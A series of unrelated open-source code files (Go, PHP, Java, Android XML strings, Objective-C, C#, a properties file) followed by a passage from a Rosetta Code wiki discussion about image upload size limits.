if v is a nil pointer or interface, or is a type that // implements the method: // IsNil() bool // which returns true when called. func isNil(v reflect.Value) bool { if (v.Kind() == reflect.Ptr || v.Kind() == reflect.Interface) && v.IsNil() { return true } if i, ok := v.Interface().(interface { IsNil() bool }); ok { return i.IsNil() } return false } func (n *stn) service(ctx context.Context, tree *stateTree) *service.StateTreeNode { n.buildChildren(ctx, tree) preview, previewIsValue := stateValuePreview(n.value) return &service.StateTreeNode{ NumChildren: uint64(len(n.children)), Name: n.name, ValuePath: n.path.Path(), Preview: preview, PreviewIsValue: previewIsValue, Constants: n.consts, } } func isFieldVisible(f reflect.StructField) bool { return f.PkgPath == "" && f.Tag.Get("hidden") != "true" } func stateValuePreview(v reflect.Value) (*box.Value, bool) { t := v.Type() switch { case box.IsMemoryPointer(t), box.IsMemorySlice(t): return box.NewValue(v.Interface()), true } switch v.Kind() { case reflect.Bool, reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Float32, reflect.Float64: return box.NewValue(v.Interface()), true case reflect.Array, reflect.Slice: const maxLen = 4 if v.Len() > maxLen { return box.NewValue(v.Slice(0, maxLen).Interface()), false } return box.NewValue(v.Interface()), true case reflect.String: const maxLen = 64 runes := []rune(v.Interface().(string)) if len(runes) > maxLen { return box.NewValue(string(append(runes[:maxLen-1], '…'))), false } return box.NewValue(v.Interface()), true case reflect.Interface, reflect.Ptr: if isNil(v) { return box.NewValue(v.Interface()), true } return stateValuePreview(v.Elem()) default: return nil, false } } // Resolve builds and returns a *StateTree for the path.StateTreeNode. // Resolve implements the database.Resolver interface. func (r *StateTreeResolvable) Resolve(ctx context.Context) (interface{}, error) { globalState, err := GlobalState(ctx, r.Path.After.GlobalStateAfter(), r.Config) if err != nil { return nil, err } rootObj, rootPath, apiID, err := state(ctx, r.Path, r.Config) if err != nil { return nil, err } apiPath := &path.API{ID: path.NewID(id.ID(apiID))} root := &stn{ name: "root", value: deref(reflect.ValueOf(rootObj)), path: rootPath, } return &stateTree{globalState, rootObj, root, apiPath, uint64(r.ArrayGroupSize)}, nil }
{ "pile_set_name": "Github" }
<?php /* * Copyright 2016 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ class Google_Service_Customsearch_ContextFacets extends Google_Model { protected $internal_gapi_mappings = array( "labelWithOp" => "label_with_op", ); public $anchor; public $label; public $labelWithOp; public function setAnchor($anchor) { $this->anchor = $anchor; } public function getAnchor() { return $this->anchor; } public function setLabel($label) { $this->label = $label; } public function getLabel() { return $this->label; } public function setLabelWithOp($labelWithOp) { $this->labelWithOp = $labelWithOp; } public function getLabelWithOp() { return $this->labelWithOp; } }
{ "pile_set_name": "Github" }
/* * Copyright 2014 - 2020 Blazebit. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.blazebit.persistence.examples.itsm.model.article.repository; import java.util.List; import java.util.Locale; import java.util.Optional; import org.springframework.data.jpa.domain.Specification; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.jpa.repository.Query; import com.blazebit.persistence.spring.data.annotation.OptionalParam; import com.blazebit.persistence.spring.data.repository.EntityViewSpecificationExecutor; import com.blazebit.persistence.examples.itsm.model.article.entity.Article; import com.blazebit.persistence.examples.itsm.model.article.view.ArticleLocalized; /** * @author Giovanni Lovato * @since 1.4.0 */ public interface ArticleRepository extends JpaRepository<Article, Long>, EntityViewSpecificationExecutor<ArticleLocalized, Article> { boolean existsByAuthorName(String name); long countByAuthorName(String name); @Query("select a from Article a") List<Article> foo(); List<ArticleLocalized> findAll(Specification<Article> specification, @OptionalParam("locale") Locale locale, @OptionalParam("defaultLocale") Locale defaultLocale); Optional<ArticleLocalized> findOne(Specification<Article> specification, @OptionalParam("locale") Locale locale, @OptionalParam("defaultLocale") Locale defaultLocale); }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- /* * Copyright (C) 2008 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ --> <resources xmlns:android="http://schemas.android.com/apk/res/android" xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2"> <string name="app_name" msgid="649227358658669779">Universal Launcher</string> <string name="folder_name" msgid="7371454440695724752"></string> <string name="work_folder_name" msgid="3753320833950115786">"Trabajo"</string> <string name="activity_not_found" msgid="8071924732094499514">"La aplicación no está instalada."</string> <string name="activity_not_available" msgid="7456344436509528827">"La aplicación no está disponible"</string> <string name="safemode_shortcut_error" msgid="9160126848219158407">"Aplicación descargada inhabilitada en modo seguro"</string> <string name="safemode_widget_error" msgid="4863470563535682004">"Widgets inhabilitados en modo seguro"</string> <string name="shortcut_not_available" msgid="2536503539825726397">"Acceso directo no disponible"</string> <string name="long_press_widget_to_add" msgid="7699152356777458215">"Mantén pulsado el widget que quieras seleccionar."</string> <string name="long_accessible_way_to_add" msgid="4289502106628154155">"Toca dos veces y mantén pulsado el widget que quieras seleccionar o utiliza acciones personalizadas."</string> <string name="widget_dims_format" msgid="2370757736025621599">"%1$d × %2$d"</string> <string name="widget_accessible_dims_format" msgid="3640149169885301790">"%1$d de ancho por %2$d de alto"</string> <string name="all_apps_search_bar_hint" msgid="7084713969757597256">"Busca aplicaciones"</string> <string name="all_apps_loading_message" msgid="7557140873644765180">"Cargando aplicaciones…"</string> <string name="all_apps_no_search_results" msgid="6332185285860416787">"No se han encontrado aplicaciones que contengan \"<xliff:g id="QUERY">%1$s</xliff:g>\""</string> <string name="all_apps_search_market_message" msgid="1366263386197059176">"Buscar más aplicaciones"</string> <string name="out_of_space" msgid="4691004494942118364">"No queda espacio en la pantalla de inicio."</string> <string name="hotseat_out_of_space" msgid="7448809638125333693">"La bandeja de favoritos está completa"</string> <string name="all_apps_button_label" msgid="8130441508702294465">"Lista de aplicaciones"</string> <string name="all_apps_home_button_label" msgid="252062713717058851">"Inicio"</string> <string name="remove_drop_target_label" msgid="7812859488053230776">"Quitar"</string> <string name="uninstall_drop_target_label" msgid="4722034217958379417">"Desinstalar"</string> <string name="app_info_drop_target_label" msgid="692894985365717661">"Datos de aplicación"</string> <string name="permlab_install_shortcut" msgid="5632423390354674437">"instalar accesos directos"</string> <string name="permdesc_install_shortcut" msgid="923466509822011139">"Permite que una aplicación añada accesos directos sin intervención del usuario."</string> <string name="permlab_read_settings" msgid="1941457408239617576">"leer información de accesos directos y de ajustes de la pantalla de inicio"</string> <string name="permdesc_read_settings" msgid="5833423719057558387">"Permite que la aplicación consulte los ajustes y los accesos directos de la pantalla de inicio."</string> <string name="permlab_write_settings" msgid="3574213698004620587">"escribir información de accesos directos y de ajustes de la pantalla de inicio"</string> <string name="permdesc_write_settings" msgid="5440712911516509985">"Permite que las aplicaciones cambien los ajustes y los accesos directos de la pantalla de inicio."</string> <string name="msg_no_phone_permission" msgid="9208659281529857371">"<xliff:g id="APP_NAME">%1$s</xliff:g> no puede hacer llamadas"</string> <string name="gadget_error_text" msgid="6081085226050792095">"Problema al cargar el widget"</string> <string name="gadget_setup_text" msgid="8274003207686040488">"Configuración"</string> <string name="uninstall_system_app_text" msgid="4172046090762920660">"Esta aplicación es del sistema y no se puede desinstalar."</string> <string name="folder_hint_text" msgid="6617836969016293992">"Carpeta sin nombre"</string> <string name="disabled_app_label" msgid="6673129024321402780">"Se ha inhabilitado <xliff:g id="APP_NAME">%1$s</xliff:g>"</string> <string name="default_scroll_format" msgid="7475544710230993317">"Página %1$d de %2$d"</string> <string name="workspace_scroll_format" msgid="8458889198184077399">"Pantalla de inicio %1$d de %2$d"</string> <string name="workspace_new_page" msgid="257366611030256142">"Nueva página de pantalla de inicio"</string> <string name="folder_opened" msgid="94695026776264709">"Carpeta abierta, <xliff:g id="WIDTH">%1$d</xliff:g> por <xliff:g id="HEIGHT">%2$d</xliff:g>"</string> <string name="folder_tap_to_close" msgid="4625795376335528256">"Toca para cerrar la carpeta"</string> <string name="folder_tap_to_rename" msgid="4017685068016979677">"Toca para guardar el nuevo nombre"</string> <string name="folder_closed" msgid="4100806530910930934">"Carpeta cerrada"</string> <string name="folder_renamed" msgid="1794088362165669656">"Se ha cambiado el nombre de la carpeta a <xliff:g id="NAME">%1$s</xliff:g>"</string> <string name="folder_name_format" msgid="6629239338071103179">"Carpeta: <xliff:g id="NAME">%1$s</xliff:g>"</string> <string name="widget_button_text" msgid="2880537293434387943">"Widgets"</string> <string name="wallpaper_button_text" msgid="8404103075899945851">"Fondos de pantalla"</string> <string name="settings_button_text" msgid="8119458837558863227">"Ajustes"</string> <string name="msg_disabled_by_admin" msgid="6898038085516271325">"Inhabilitada por el administrador"</string> <string name="accessibility_action_overview" msgid="6257665857640347026">"Visión general"</string> <string name="allow_rotation_title" msgid="7728578836261442095">"Permitir rotación de la pantalla de inicio"</string> <string name="allow_rotation_desc" msgid="8662546029078692509">"Al girar el teléfono"</string> <string name="allow_rotation_blocked_desc" msgid="3212602545192996253">"La configuración de pantalla actual no permite girar la pantalla"</string> <string name="package_state_unknown" msgid="7592128424511031410">"Desconocido"</string> <string name="abandoned_clean_this" msgid="7610119707847920412">"Quitar"</string> <string name="abandoned_search" msgid="891119232568284442">"Buscar"</string> <string name="abandoned_promises_title" msgid="7096178467971716750">"Esta aplicación no está instalada"</string> <string name="abandoned_promise_explanation" msgid="3990027586878167529">"La aplicación de este icono no está instalada. Puedes quitar el icono o buscar la aplicación e instalarla manualmente."</string> <string name="app_downloading_title" msgid="8336702962104482644">"Descargando <xliff:g id="NAME">%1$s</xliff:g> (<xliff:g id="PROGRESS">%2$s</xliff:g> completado)"</string> <string name="app_waiting_download_title" msgid="7053938513995617849">"Esperando para instalar <xliff:g id="NAME">%1$s</xliff:g>"</string> <string name="action_add_to_workspace" msgid="8902165848117513641">"Añadir a la pantalla de inicio"</string> <string name="action_move_here" msgid="2170188780612570250">"Mover elemento aquí"</string> <string name="item_added_to_workspace" msgid="4211073925752213539">"Elemento añadido a la pantalla de inicio"</string> <string name="item_removed" msgid="851119963877842327">"Elemento eliminado"</string> <string name="action_move" msgid="4339390619886385032">"Mover elemento"</string> <string name="move_to_empty_cell" msgid="2833711483015685619">"Mover a la fila <xliff:g id="NUMBER_0">%1$s</xliff:g>, columna <xliff:g id="NUMBER_1">%2$s</xliff:g>"</string> <string name="move_to_position" msgid="6750008980455459790">"Mover a la posición número <xliff:g id="NUMBER">%1$s</xliff:g>"</string> <string name="move_to_hotseat_position" msgid="6295412897075147808">"Mover a la posición número <xliff:g id="NUMBER">%1$s</xliff:g> de favoritos"</string> <string name="item_moved" msgid="4606538322571412879">"Elemento movido"</string> <string name="add_to_folder" msgid="9040534766770853243">"Añadir a carpeta: <xliff:g id="NAME">%1$s</xliff:g>"</string> <string name="add_to_folder_with_app" msgid="4534929978967147231">"Añadir a la carpeta con <xliff:g id="NAME">%1$s</xliff:g>"</string> <string name="added_to_folder" msgid="4793259502305558003">"Elemento añadido a carpeta"</string> <string name="create_folder_with" msgid="4050141361160214248">"Crear carpeta con: <xliff:g id="NAME">%1$s</xliff:g>"</string> <string name="folder_created" msgid="6409794597405184510">"Carpeta creada"</string> <string name="action_move_to_workspace" msgid="1603837886334246317">"Mover a la pantalla de inicio"</string> <string name="action_move_screen_left" msgid="8854216831569401665">"Mover pantalla a la izquierda"</string> <string name="action_move_screen_right" msgid="329334910274311123">"Mover pantalla a la derecha"</string> <string name="screen_moved" msgid="266230079505650577">"Pantalla movida"</string> <string name="action_resize" msgid="1802976324781771067">"Modificar tamaño"</string> <string name="action_increase_width" msgid="8773715375078513326">"Aumentar ancho"</string> <string name="action_increase_height" msgid="459390020612501122">"Aumentar altura"</string> <string name="action_decrease_width" msgid="1374549771083094654">"Reducir ancho"</string> <string name="action_decrease_height" msgid="282377193880900022">"Reducir altura"</string> <string name="widget_resized" msgid="9130327887929620">"Se ha modificado el tamaño del widget a <xliff:g id="NUMBER_0">%1$s</xliff:g> de ancho y <xliff:g id="NUMBER_1">%2$s</xliff:g> de alto"</string> <string name="action_deep_shortcut" msgid="2864038805849372848">"Accesos directos"</string> <string name="shortcuts_menu_description" msgid="406159963824238648">"<xliff:g id="NUMBER_OF_SHORTCUTS">%1$d</xliff:g> accesos directos de <xliff:g id="APP_NAME">%2$s</xliff:g>"</string> </resources>
{ "pile_set_name": "Github" }
// // Copyright 2011-2014 NimbusKit // // Forked from Three20 June 10, 2011 - Copyright 2009-2011 Facebook // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #import "NILauncherView.h" #import "NILauncherPageView.h" #import "NimbusPagingScrollView.h" #import "NIPagingScrollView+Subclassing.h" #import "NimbusCore.h" #if !defined(__has_feature) || !__has_feature(objc_arc) #error "Nimbus requires ARC support." #endif static NSString* const kPageReuseIdentifier = @"page"; const NSInteger NILauncherViewGridBasedOnButtonSize = -1; static const CGFloat kDefaultButtonDimensions = 80; static const CGFloat kDefaultPadding = 10; @interface NILauncherView() <NIPagingScrollViewDataSource, NIPagingScrollViewDelegate> @property (nonatomic, strong) NIPagingScrollView* pagingScrollView; @property (nonatomic, strong) UIPageControl* pager; @property (nonatomic, assign) NSInteger numberOfPages; @property (nonatomic, strong) NIViewRecycler* viewRecycler; - (void)updateLayoutForPage:(NILauncherPageView *)page; @end @implementation NILauncherView - (void)_configureDefaults { // We handle autoresizing ourselves. [self setAutoresizesSubviews:NO]; _viewRecycler = [[NIViewRecycler alloc] init]; _buttonSize = CGSizeMake(kDefaultButtonDimensions, kDefaultButtonDimensions); _numberOfColumns = NILauncherViewGridBasedOnButtonSize; _numberOfRows = NILauncherViewGridBasedOnButtonSize; _maxNumberOfButtonsPerPage = NSIntegerMax; _contentInsetForPages = UIEdgeInsetsMake(kDefaultPadding, kDefaultPadding, kDefaultPadding, kDefaultPadding); // The paging scroll view. _pagingScrollView = [[NIPagingScrollView alloc] initWithFrame:self.bounds]; _pagingScrollView.dataSource = self; _pagingScrollView.delegate = self; [self addSubview:_pagingScrollView]; // The pager displayed below the paging scroll view. _pager = [[UIPageControl alloc] init]; _pager.hidesForSinglePage = YES; // So, this is weird. Apparently if you don't set a background color on the pager control // then taps won't be handled anywhere but within the dot area. If you do set a background // color, however, then taps outside of the dot area DO change the selected page. // \(o.o)/ _pager.backgroundColor = [UIColor blackColor]; // Similarly for the scroll view anywhere there isn't a subview. // We update these background colors when the launcher view's own background color is set. _pagingScrollView.backgroundColor = [UIColor blackColor]; // Don't update the pager when the user taps until we've animated to the new page. // This allows us to reset the page index forcefully if necessary without flickering the // pager's current selection. _pager.defersCurrentPageDisplay = YES; // When the user taps the pager control it fires a UIControlEventValueChanged notification. [_pager addTarget:self action:@selector(pagerDidChangePage:) forControlEvents:UIControlEventValueChanged]; [self addSubview:_pager]; } - (id)initWithFrame:(CGRect)frame { if ((self = [super initWithFrame:frame])) { [self _configureDefaults]; } return self; } - (id)initWithCoder:(NSCoder *)aDecoder { if ((self = [super initWithCoder:aDecoder])) { [self _configureDefaults]; } return self; } - (void)layoutSubviews { [super layoutSubviews]; [_pager sizeToFit]; _pagingScrollView.frame = NIRectContract(self.bounds, 0, _pager.frame.size.height); _pager.frame = NIRectShift(self.bounds, 0, _pagingScrollView.frame.size.height); for (NILauncherPageView* pageView in self.pagingScrollView.visiblePages) { [self updateLayoutForPage:pageView]; } } - (void)setBackgroundColor:(UIColor *)backgroundColor { [super setBackgroundColor:backgroundColor]; self.pagingScrollView.backgroundColor = backgroundColor; self.pager.backgroundColor = backgroundColor; } - (void)calculateLayoutForFrame:(CGRect)frame buttonDimensions:(CGSize *)pButtonDimensions numberOfRows:(NSInteger *)pNumberOfRows numberOfColumns:(NSInteger *)pNumberOfColumns buttonMargins:(CGSize *)pButtonMargins { NIDASSERT(nil != pButtonDimensions); NIDASSERT(nil != pNumberOfRows); NIDASSERT(nil != pNumberOfColumns); NIDASSERT(nil != pButtonMargins); if (nil == pButtonDimensions || nil == pNumberOfRows || nil == pNumberOfColumns || nil == pButtonMargins) { return; } CGFloat pageWidth = frame.size.width - self.contentInsetForPages.left - self.contentInsetForPages.right; CGFloat pageHeight = frame.size.height - self.contentInsetForPages.top - self.contentInsetForPages.bottom; CGSize buttonDimensions = self.buttonSize; NSInteger numberOfColumns = self.numberOfColumns; NSInteger numberOfRows = self.numberOfRows; // Override point if ([self.dataSource respondsToSelector:@selector(numberOfRowsPerPageInLauncherView:)]) { numberOfRows = [self.dataSource numberOfRowsPerPageInLauncherView:self]; } if ([self.dataSource respondsToSelector:@selector(numberOfColumnsPerPageInLauncherView:)]) { numberOfColumns = [self.dataSource numberOfColumnsPerPageInLauncherView:self]; } if (NILauncherViewGridBasedOnButtonSize == numberOfColumns) { numberOfColumns = floorf(pageWidth / buttonDimensions.width); } if (NILauncherViewGridBasedOnButtonSize == numberOfRows) { numberOfRows = floorf(pageHeight / buttonDimensions.height); } NIDASSERT(numberOfRows > 0); NIDASSERT(numberOfColumns > 0); numberOfRows = MAX(1, numberOfRows); numberOfColumns = MAX(1, numberOfColumns); CGFloat totalButtonWidth = numberOfColumns * buttonDimensions.width; CGFloat buttonHorizontalSpacing = 0; if (numberOfColumns > 1) { buttonHorizontalSpacing = floorf((pageWidth - totalButtonWidth) / (numberOfColumns - 1)); } CGFloat totalButtonHeight = numberOfRows * buttonDimensions.height; CGFloat buttonVerticalSpacing = 0; if (numberOfRows > 1) { buttonVerticalSpacing = floorf((pageHeight - totalButtonHeight) / (numberOfRows - 1)); } *pButtonDimensions = buttonDimensions; *pNumberOfRows = numberOfRows; *pNumberOfColumns = numberOfColumns; pButtonMargins->width = buttonHorizontalSpacing; pButtonMargins->height = buttonVerticalSpacing; } - (void)updateLayoutForPage:(NILauncherPageView *)page { CGSize buttonDimensions = CGSizeZero; NSInteger numberOfRows = 0; NSInteger numberOfColumns = 0; CGSize buttonMargins = CGSizeZero; [self calculateLayoutForFrame:self.pagingScrollView.frame buttonDimensions:&buttonDimensions numberOfRows:&numberOfRows numberOfColumns:&numberOfColumns buttonMargins:&buttonMargins]; page.contentInset = self.contentInsetForPages; page.viewSize = buttonDimensions; page.viewMargins = buttonMargins; } #pragma mark - UIPageControl Change Notifications - (void)pagerDidChangePage:(UIPageControl*)pager { if ([self.pagingScrollView moveToPageAtIndex:pager.currentPage animated:YES]) { // Once we've handled the page change notification, notify the pager that it's ok to update // the page display. [self.pager updateCurrentPageDisplay]; } } #pragma mark - Actions /** * Find a button in the pages and retrieve its page and index. * * @param[in] searchButton The button you are looking for. * @param[out] pPage The resulting page, if found. * @param[out] pIndex The resulting index, if found. * @returns YES if the button was found. NO otherwise. */ - (BOOL)pageAndIndexOfButton:(UIButton *)searchButton page:(NSInteger *)pPage index:(NSInteger *)pIndex { NIDASSERT(nil != pPage); NIDASSERT(nil != pIndex); if (nil == pPage || nil == pIndex) { return NO; } for (NILauncherPageView* pageView in self.pagingScrollView.visiblePages) { for (NSInteger buttonIndex = 0; buttonIndex < pageView.recyclableViews.count; ++buttonIndex) { UIView<NILauncherButtonView>* buttonView = [pageView.recyclableViews objectAtIndex:buttonIndex]; if (buttonView.button == searchButton) { *pPage = pageView.pageIndex; *pIndex = buttonIndex; return YES; } } } return NO; } - (void)didTapButton:(UIButton *)tappedButton { NSInteger page = -1; NSInteger buttonIndex = 0; if ([self pageAndIndexOfButton:tappedButton page:&page index:&buttonIndex]) { if ([self.delegate respondsToSelector:@selector(launcherView:didSelectItemOnPage:atIndex:)]) { [self.delegate launcherView:self didSelectItemOnPage:page atIndex:buttonIndex]; } } else { // How exactly did we tap a button that wasn't a part of the launcher view? NIDASSERT(NO); } } #pragma mark - NIPagingScrollViewDataSource - (NSInteger)numberOfPagesInPagingScrollView:(NIPagingScrollView *)pagingScrollView { return self.numberOfPages; } - (UIView<NIPagingScrollViewPage> *)pagingScrollView:(NIPagingScrollView *)pagingScrollView pageViewForIndex:(NSInteger)pageIndex { NILauncherPageView* page = (NILauncherPageView *)[self.pagingScrollView dequeueReusablePageWithIdentifier:kPageReuseIdentifier]; if (nil == page) { page = [[NILauncherPageView alloc] initWithReuseIdentifier:kPageReuseIdentifier]; page.viewRecycler = self.viewRecycler; } [self updateLayoutForPage:page]; NSInteger numberOfButtons = [self.dataSource launcherView:self numberOfButtonsInPage:pageIndex]; numberOfButtons = MIN(numberOfButtons, self.maxNumberOfButtonsPerPage); for (NSInteger buttonIndex = 0 ; buttonIndex < numberOfButtons; ++buttonIndex) { UIView<NILauncherButtonView>* buttonView = [self.dataSource launcherView:self buttonViewForPage:pageIndex atIndex:buttonIndex]; NSAssert(nil != buttonView, @"A non-nil UIView must be returned."); [buttonView.button addTarget:self action:@selector(didTapButton:) forControlEvents:UIControlEventTouchUpInside]; [page addRecyclableView:(UIView<NIRecyclableView> *)buttonView]; } return page; } #pragma mark - NIPagingScrollViewDelegate - (void)pagingScrollViewDidChangePages:(NIPagingScrollView *)pagingScrollView { self.pager.currentPage = pagingScrollView.centerPageIndex; } #pragma mark - Public - (void)reloadData { if ([self.dataSource respondsToSelector:@selector(numberOfPagesInLauncherView:)]) { _numberOfPages = [self.dataSource numberOfPagesInLauncherView:self]; } else { _numberOfPages = 1; } self.pager.numberOfPages = _numberOfPages; [self.pagingScrollView reloadData]; [self setNeedsLayout]; } - (UIView<NILauncherButtonView> *)dequeueReusableViewWithIdentifier:(NSString *)identifier { NIDASSERT(nil != identifier); if (nil == identifier) { return nil; } return (UIView<NILauncherButtonView> *)[self.viewRecycler dequeueReusableViewWithIdentifier:identifier]; } - (void)setcontentInsetForPages:(UIEdgeInsets)contentInsetForPages { _contentInsetForPages = contentInsetForPages; for (NILauncherPageView* pageView in self.pagingScrollView.visiblePages) { pageView.contentInset = contentInsetForPages; } } - (void)setButtonSize:(CGSize)buttonSize { _buttonSize = buttonSize; for (NILauncherPageView* pageView in self.pagingScrollView.visiblePages) { pageView.viewSize = buttonSize; } } - (void)willRotateToInterfaceOrientation:(UIInterfaceOrientation)toInterfaceOrientation duration:(NSTimeInterval)duration { [self.pagingScrollView willRotateToInterfaceOrientation:toInterfaceOrientation duration:duration]; } - (void)willAnimateRotationToInterfaceOrientation:(UIInterfaceOrientation)toInterfaceOrientation duration:(NSTimeInterval)duration { [self.pagingScrollView willAnimateRotationToInterfaceOrientation:toInterfaceOrientation duration:duration]; } @end
{ "pile_set_name": "Github" }
/* * Copyright © 2012-2016 VMware, Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the “License”); you may not * use this file except in compliance with the License. You may obtain a copy * of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an “AS IS” BASIS, without * warranties or conditions of any kind, EITHER EXPRESS OR IMPLIED. See the * License for the specific language governing permissions and limitations * under the License. */ // WARNING // // This file has been generated automatically by Xamarin Studio to store outlets and // actions made in the UI designer. If it is removed, they will be lost. // Manual changes to this file may not be handled correctly. // using Foundation; using System.CodeDom.Compiler; namespace VMCASnapIn.UI { [Register ("MainWindowController")] partial class MainWindowController { [Outlet] VmIdentity.UI.Common.ActivatableToolBarItem AddRootCertificateToolBarItem { get; set; } [Outlet] VmIdentity.UI.Common.ActivatableToolBarItem BackForwardToolBarItem { get; set; } [Outlet] AppKit.NSView ContainerView { get; set; } [Outlet] VmIdentity.UI.Common.ActivatableToolBarItem HandleConnectionToolBarItem { get; set; } [Outlet] AppKit.NSTextField LoggedUserLabel { get; set; } [Outlet] VmIdentity.UI.Common.ActivatableToolBarItem RefreshToolBarItem { get; set; } [Outlet] VmIdentity.UI.Common.ActivatableToolBarItem SearchToolBarItem { get; set; } [Outlet] VmIdentity.UI.Common.ActivatableToolBarItem ServerInfoToolBarItem { get; set; } [Outlet] VmIdentity.UI.Common.ActivatableToolBarItem ShowRootCertificateToolBarItem { get; set; } [Outlet] AppKit.NSSplitView splitview { get; set; } [Outlet] VmIdentity.UI.Common.ActivatableToolBarItem ValidateRootCertificateToolBarItem { get; set; } [Action ("AddRootCertificate:")] partial void AddRootCertificate (Foundation.NSObject sender); [Action ("BackForwardAction:")] partial void BackForwardAction (Foundation.NSObject sender); [Action ("CreateConnection:")] partial void CreateConnection (Foundation.NSObject sender); [Action ("GotoNextAction:")] partial void GotoNextAction (Foundation.NSObject sender); [Action ("GotoPreviousAction:")] partial void GotoPreviousAction (Foundation.NSObject sender); [Action ("HandleConnection:")] partial void HandleConnection (Foundation.NSObject sender); [Action ("OnRefresh:")] partial void OnRefresh (Foundation.NSObject sender); [Action ("SearchAction:")] partial void SearchAction (Foundation.NSObject sender); [Action ("ShowRootCertificate:")] partial void ShowRootCertificate (Foundation.NSObject sender); [Action ("ShowServerInfo:")] partial void ShowServerInfo (Foundation.NSObject sender); [Action ("StartSearch:")] partial void StartSearch (AppKit.NSSearchField sender); void ReleaseDesignerOutlets () { if (RefreshToolBarItem != null) { RefreshToolBarItem.Dispose (); RefreshToolBarItem = null; } if (AddRootCertificateToolBarItem != null) { AddRootCertificateToolBarItem.Dispose (); AddRootCertificateToolBarItem = null; } if (BackForwardToolBarItem != null) { BackForwardToolBarItem.Dispose (); BackForwardToolBarItem = null; } if (ContainerView != null) { ContainerView.Dispose (); ContainerView = null; } if (HandleConnectionToolBarItem != null) { HandleConnectionToolBarItem.Dispose (); HandleConnectionToolBarItem = null; } if (LoggedUserLabel != null) { LoggedUserLabel.Dispose (); LoggedUserLabel = null; } if (SearchToolBarItem != null) { SearchToolBarItem.Dispose (); SearchToolBarItem = null; } if (ServerInfoToolBarItem != null) { ServerInfoToolBarItem.Dispose (); ServerInfoToolBarItem = null; } if (ShowRootCertificateToolBarItem != null) { ShowRootCertificateToolBarItem.Dispose (); ShowRootCertificateToolBarItem = null; } if (splitview != null) { splitview.Dispose (); splitview = null; } if (ValidateRootCertificateToolBarItem != null) { ValidateRootCertificateToolBarItem.Dispose (); ValidateRootCertificateToolBarItem = null; } } } [Register ("MainWindow")] partial class MainWindow { void ReleaseDesignerOutlets () { } } }
{ "pile_set_name": "Github" }
## --------------------------------------------------------------------------- ## Licensed to the Apache Software Foundation (ASF) under one or more ## contributor license agreements. See the NOTICE file distributed with ## this work for additional information regarding copyright ownership. ## The ASF licenses this file to You under the Apache License, Version 2.0 ## (the "License"); you may not use this file except in compliance with ## the License. You may obtain a copy of the License at ## ## http://www.apache.org/licenses/LICENSE-2.0 ## ## Unless required by applicable law or agreed to in writing, software ## distributed under the License is distributed on an "AS IS" BASIS, ## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ## See the License for the specific language governing permissions and ## limitations under the License. ## --------------------------------------------------------------------------- project.id=scg-bi-sandbox bigquery.datasetId=test_dataset # Service Account Name and Key do not belong to any project # Have been generated for BigQuery Emulator #service.account= #service.key= #service.credentialsFileLocation=
{ "pile_set_name": "Github" }
+++ title = "Rosetta Code:Village Pump/Image uploads" description = "" date = 2019-06-12T18:02:12Z aliases = [] [extra] id = 3352 [taxonomies] categories = [] tags = [] +++ {{Vptopic |topic=Image uploads |summary=Relating to upload of images to Rosetta Code }} I enabled image uploads yesterday, for ''all logged in users''. Please try to limit uploads to original and/or programmatically-generated material. If you feel it necessary to upload an image retrieved from elsewhere, please ensure that uploading it here does not violate the original copyright. I'm not going to depend on Fair Use to get around more restrictive licenses, because I don't have the legal resources to defend against an infringement claim. --[[User:Short Circuit|Short Circuit]] 23:50, 3 February 2009 (UTC) :I'm a little late with this, I suppose, but I've been dinking around with [http://www.dangermouse.net/esoteric/piet.html Piet] ([http://esolangs.org/wiki/Piet Esolangs entry]) over the past few days, and its programs are ''entirely'' images. (From the Piet page: "Piet is a programming language in which programs look like abstract paintings.") I like the language (as a toy), but it's possible (although somewhat unlikely) that the images could get... '''big'''. (Biggest one known ''so far'': [Image:http://www.dangermouse.net/esoteric/piet/pietquest.png]) :So... What's the upper limit on images? Not "what will Mediawiki support", but "what do you consider too big?" -- [[User:Eriksiers|Erik Siers]] 17:11, 17 May 2010 (UTC) :: I think for such images a codel size of 1 should be mandatory but apart from that it's not that large. There are certainly longer examples in other languages, even non-esoteric ones. If they get too large you can do the same as for other languages: Put it on a separate subpage. —[[User:Hypftier|Johannes Rössel]] 18:43, 17 May 2010 (UTC) :::My concern isn't the on-screen dimensions of the image, but rather the file size limits that [[User:Short Circuit|Short Circuit]] wants to stick to. The image upload page says "Maximum file size: 10 MB", but if I upload a 10MB file for each example on the site, disk space and bandwidth would likely be adversely affected. -- [[User:Eriksiers|Erik Siers]] 18:54, 17 May 2010 (UTC) :::: Let me keep an 